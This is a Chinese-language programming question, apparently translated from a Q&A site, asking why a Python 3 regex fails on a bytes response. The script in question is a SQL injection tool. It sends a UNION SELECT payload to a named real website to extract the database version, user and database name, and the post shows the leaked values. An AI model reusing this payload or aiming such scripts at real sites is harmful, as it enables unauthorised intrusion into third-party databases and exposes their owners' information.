我在 Windows 8 中使用 python 3.3.0。下面的代码在 python 2.7.x 中成功运行
import re, urllib
import urllib.request
arg_end = "--"
url = "http://www.johandemeij.com/post.php?id=276+AND+1=2+UNION+SELECT+1,2,p0w3R,4,p0w3R,p0w3R,7,8,p0w3R,p0w3R--"
url = site.replace("p0w3R","concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20)")+arg_end
requrl = urllib.request.Request(url)
response = urllib.request.urlopen(requrl)
source = response.read()
match = re.findall("\x1e\x1e\S+", str(source))
print("match>>>", match)
在这个脚本中,我在匹配变量中没有得到任何值!当我使用这个时:
match = re.findall("\x1e\x1e\S+", source)
它给了我这样的错误:
TypeError: can't use a string pattern on a bytes-like object
事实上,当我在浏览器中注入 url 时,我在特别易受攻击的列中得到如下结果。
5.1.61-0+squeeze1johan@localhostjohan_db
那么,那个 re 有什么问题或者我应该改变什么以及在哪里?当我试图在 python 文档的 re 模块中阅读 \x 时,我什么也没找到!或者可能是,我没有得到它。如果它易于理解,我呼吁您向我推荐一些与此相关的示例。
当我尝试将 1e 转换为字符串时,还有一件事没有给出任何结果!
我刚刚开始学习 python 3,我真的想创建一些有用的脚本,而不是编写简单的程序。所以,我试图在 python 3 中制作简单的 SQLi 扫描器。我从 darkMySQLi 工具中获得了灵感。